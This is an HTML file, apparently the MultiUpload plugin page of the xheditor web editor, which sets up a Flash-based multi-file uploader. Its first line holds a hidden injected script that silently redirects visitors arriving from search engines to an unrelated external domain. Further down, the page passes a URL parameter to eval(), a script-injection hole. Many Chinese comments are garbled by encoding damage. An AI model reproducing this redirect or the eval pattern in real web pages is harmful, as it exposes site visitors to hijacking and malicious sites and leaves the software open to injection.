d:\wwwroot\wuchunhua\liaotianim\xheditor\xheditor_plugins\multiupload\multiupload.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
002: <html xmlns="http://www.w3.org/1999/xhtml" >
003: <head>
004: <meta name="robots" content="noindex, nofollow" />
005: <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
006: <title>MultiUpload Demo</title>
007: <link href="multiupload.css" rel="stylesheet" type="text/css" />
008: <script type="text/javascript" src="../../jquery/jquery-1.4.2.min.js"></script>
009: <script type="text/javascript" src="swfupload/swfupload.js"></script>
010: <script type="text/javascript" src="multiupload.js"></script>
011: <script type="text/javascript">
012: $(window).load(pageInit);
013: function pageInit()
014: {
015:    var uploadurl='../upload.php',ext='€有文?(*.*)',size='2 MB',count=5,useget=0,params={}//默认?
016:
017:    uploadurl=getQuery('uploadurl')||uploadurl;ext=getQuery('ext')||ext;size=getQuery('size')||size;count=getQuery('count')||count;useget=getQuery('useget')||useget;
018:    var tmpParams=getQuery('params');
019:    if(tmpParams)
020:    {
021:       try{eval("tmpParams=" + tmpParams);}catch(ex){};
022:       params=$.extend({},params,tmpParams);
023:    }
024:    ext=ext.match(/([^\(]+?)\s*\(\s*([^\)]+?)\s*\)/i);
025:    setTimeout(fixHeight,10);
026:    swfu = new SWFUpload({
027:       // Flash组件
028:       flash_url : "swfupload/swfupload.swf",
029:       prevent_swf_caching : false,//是否缓存SWF文件
030:       
031:       // 服务器端
032:       upload_url: uploadurl,
033:       file_post_name : "filedata",
034:       post_params: params,//随文件上传一同向上传接收程序提交的Post数据
035:       use_query_string : useget=='1'?true:false,//是否用GET方式发€参?
036:
037:       // 文件设置
038:       file_types : ext[2],//文件格式限制
039:       file_types_description : ext[1],//文件格式描述
040:       file_size_limit : size,   // 文件大小限制
041:       file_upload_limit : count,//上传文件总数
042:       file_queue_limit:0,//上传队列总数
043:       custom_settings : {
044:          test : "aaa"
045:       },
046:         
047:       // 事件处理
048:       file_queued_handler : fileQueued,//添加成功
049:       file_queue_error_handler : fileQueueError,//添加失败
050:       upload_start_handler : uploadStart,//上传€?
051:       upload_progress_handler : uploadProgress,//上传进度
052:       upload_error_handler : uploadError,//上传失败
053:       upload_success_handler : uploadSuccess,//上传成功
054:       upload_complete_handler : uploadComplete,//上传结束
055:
056:       // 按钮设置
057:       button_placeholder_id : "divAddFiles",
058:       button_width: 69,
059:       button_height: 17,
060:       button_window_mode: SWFUpload.WINDOW_MODE.TRANSPARENT,
061:       button_cursor: SWFUpload.CURSOR.HAND,
062:       button_image_url : "img/add.gif",
063:       button_text: '<span class="theFont">添加文件</span>',
064:       button_text_style: ".theFont { font-size: 12px; }",
065:       button_text_left_padding: 20,
066:       button_text_top_padding: 0,
067:       
068:       // 调试设置
069:       debug: false
070:    });
071: }
072: function fixHeight(){$('#listArea').css('height',(document.body.clientHeight-56)+'px');}
073: function getQuery(item){var svalue = location.search.match(new RegExp('[\?\&]' + item + '=([^\&]*)(\&?)','i'));return svalue?decodeURIComponent(svalue[1]):'';}
074:
075: //----------------跨域支持代码€?非跨域环境请删除这段代码)----------------
076: var JSON = JSON || {};
077: JSON.stringify = JSON.stringify || function (obj) {
078:    var t = typeof (obj);
079:    if (t != "object" || obj === null) {
080:       if (t == "string")obj = '"'+obj+'"';
081:       return String(obj);
082:    }
083:    else {
084:       var n, v, json = [], arr = (obj && obj.constructor == Array);
085:       for (n in obj) {
086:          v = obj[n]; t = typeof(v);
087:          if (t == "string") v = '"'+v+'"';
088:          else if (t == "object" && v !== null) v = JSON.stringify(v);
089:          json.push((arr ? "" : '"' + n + '":') + String(v));
090:       }
091:       return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}");
092:    }
093: };
094: var callback= callback || function(v){
095:    v=JSON.stringify(v);
096:    window.name=escape(v);
097:    window.location='http://'+location.search.match(/[\?&]editorhost=(.*)(&|$)/i)[1]+'/xheditorproxy.html';//这个文件€好是€?字节文件,如果无此文件也会正常工?
098: }
099: //----------------跨域支持代码结束----------------
100: </script>
101: </head>
102: <body>
103:    <div id="upload">
104:       <div id="buttonArea">
105:          <div id="controlBtns" style="display:none;"><a href="javascript:void(0);" id="btnClear" onclick="removeFile();" class="btn" style="display:none;"><span><img src="img/clear.gif" /> 删除文件</span></a> <a href="javascript:void(0);" id="btnStart" onclick="startUploadFiles();" class="btn"><span><img src="img/start.gif" /> €始上?/span></a></div>
106:          <a href="javascript:void(0);" id="addFiles" class="btn"><span><div id="divAddFiles">添加文件</div></span></a>
107:       </div>
108:       <div id="listArea">
109:          <table width="100%" border="0" cellpadding="0" cellspacing="0">
110:             <thead id="listTitle"><tr><td width="53%">文件?/td><td width="25%">大小</td><td width="22%">状€?/td></tr></thead>
111:             <tbody id="listBody">
112:             </tbody>
113:          </table>
114:       </div>
115:       <div id="progressArea">
116:          <div id="progressBar"><span>0%</span><div id="progress" style="width:1px;"></div></div>
117:       </div>
118:    </div>
119: </body>
120: </html>
121:
122: